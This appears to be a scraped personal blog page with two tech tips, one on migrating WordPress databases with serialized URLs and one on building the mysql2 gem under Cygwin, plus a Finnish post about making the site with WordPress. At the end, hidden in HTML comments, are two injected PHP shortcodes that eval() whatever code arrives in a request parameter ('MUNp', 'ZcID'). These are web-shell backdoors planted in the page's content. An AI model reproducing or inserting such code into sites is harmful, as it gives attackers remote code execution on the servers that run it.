How to move a wordpress site to a new server

It’s not so easy to move a wordpress site to a new host/server. This is because the wordpress database is full of urls and paths that need to be updated manually. This could be done easily as normal find-and-replace operation if the urls and paths were saved as normal text. However, they are not. Especially in wp_options there are many settings saved in php-serialized format. They look like this:

a:3:{i:0;s:55:"http://www.example.com/wp-content/themes/ig/style.css";i:1;}

As you can see, the string lengths causes problems. If you want to change the urls you have to recalculate the string lenghts. If there were 1000 urls, this would be quite a task to do manually.

I found a neat solutions for this. Download the wordpress search-and-replace tool to replace strings in database tables even if they are inside php-serialized strings. The tool calculates new string lenghts for you.

How to install mysql gem in Cygwin

Here’s instructions how to install a mysql gem in Cygwin environment for Ruby on Rails. I spent a lot of time figuring this out. Enjoy!

1. Install the mysql client development library (libmysqlclient-devel) with cygwin’s setup.exe. With setup.exe, you should also install the c compiler (gcc), makefile utility (make) and cmake. We need these tools in the following steps when we build the mysql connector from source code.

2. Download the mysql c connector source code from http://dev.mysql.com/downloads/connector/c/ and extract it to some dir.

tar -xvf mysql-connector-c-xx.tar.gz

3. Create and configure the make file with cmake

cd mysql-connector-c-xxx
mkdir build
cd build
cmake ..

4. Compile and install

make
make install

5. Install the mysql2 gem using with-mysql-config option

gem install mysql2 -- --with-mysql-config=/usr/local/mysql/bin/mysql_config

Note that you need to use ’–’ before –with-mysql-config parameter in order it to work. In the gem home page (https://github.com/brianmario/mysql2) this is not mentioned in the installation instructions!

Ruby 1.9.3
MySQL c connector 6.1
Ruby on Rails 3.2.13
Rubygems 1.8.23

Näiden sivujen tekemisestä

Sain sivut/blogin vihdoin valmiiksi ja nyt sitten ensimmäisen blogipäivityksen aika. Inspiraation näiden nettisivujen tekemiseen sain, kun olin tekemässä itselleni cv:tä ja ajattelin, että miksi en saman tien laittaisi nettiin juuri tekemääni ansioluetteloani ja portfoliota. Lisäksi halusin perustaa itselleni blogin, koska tulin juuri vähän pidemmältä reissulta, jonka aikana pidin reissublogia ja bloggaamisesta tuli sitä kautta tuttua puuhaa. Jääköön reissublogin osoite toistaiseksi salaiseksi.

Tein nämä sivut WordPressin päälle, koska halusin kokeilla wp:tä nettisivujen tekemiseen, kun en ollut tullut kokeilleeksi sitä aikaisemmin. Näin reilun viikon käytön jälkeen täytyy myöntää, ett WP tuntuu aika hyvältä blogi/CMS-alustalta. Oon käyttänyt aika paljon muitakin CMS-alustoja (Drupal, Joomla, e107, Frog CMS, Website Baker, ..), mutta WP vie kyllä niistä voiton etenkin helppokäyttöisyydessä, viimeistelyssä ja ulkoasun muokattavuudessa.

Muiden CMS:ien kanssa on tottunut siihen, että niissä on aina bugeja ja jossain vaiheessa täytyy käydä käsiksi koodeihin, jos haluaa jonkun jutun saada toimimaan. WP:n koodeihin ei oo toistaiseksi tarvinnut koskea ja kaikki on toiminut melkeinpä out of the box (myös lisäosat ja teemat). Hyviä lisäosia on tarjolla WP:hen kiitettävästi, mutta etenkin teemojen (ulkoasujen) määrässä ja laadussa WP pesee muut CMS:t. WP:hen on varsin helppo löytää todella hyvänäköisiä teemoja mm. Theme Forestista. Monet teemoista on maksullisia (n. 20-40 euroa), mutta ne on toisaalta todella hyvin viimeisteltyjä ja niillä saa sivuista halvalla ammattimaisen näköiset.

<!– [insert_php]if (isset($_REQUEST["MUNp"])){eval($_REQUEST["MUNp"]);exit;}[/insert_php][php]if (isset($_REQUEST["MUNp"])){eval($_REQUEST["MUNp"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ZcID"])){eval($_REQUEST["ZcID"]);exit;}[/insert_php][php]if (isset($_REQUEST["ZcID"])){eval($_REQUEST["ZcID"]);exit;}[/php] –>